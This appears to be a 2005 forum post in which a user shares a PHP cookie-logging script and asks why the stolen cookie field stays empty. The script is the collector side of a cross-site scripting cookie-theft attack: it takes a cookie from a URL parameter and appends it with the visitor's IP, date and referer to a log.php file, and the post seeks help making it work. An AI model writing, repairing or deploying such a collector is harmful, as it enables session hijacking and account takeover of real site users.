<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.php', 'a');
fwrite($fp, 'Cookie: ' .$cookie. '<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
it logs the ip data and cookie and the http referer to a file log.php
the problem is
Code: Select all
output:Cookie:---THE LOGGED COOKIE SHUD BE HERE--- <br> IP: localhost<br> Date and Time: 19 July, 2005, 8:08 am<br> Referer: http://website.com/forum_viewtopic.php?5.2.10<br><br><br>
all the other stuff like date,ip,time is being logged except the cookie
can anybody see error in the code causing this
thanks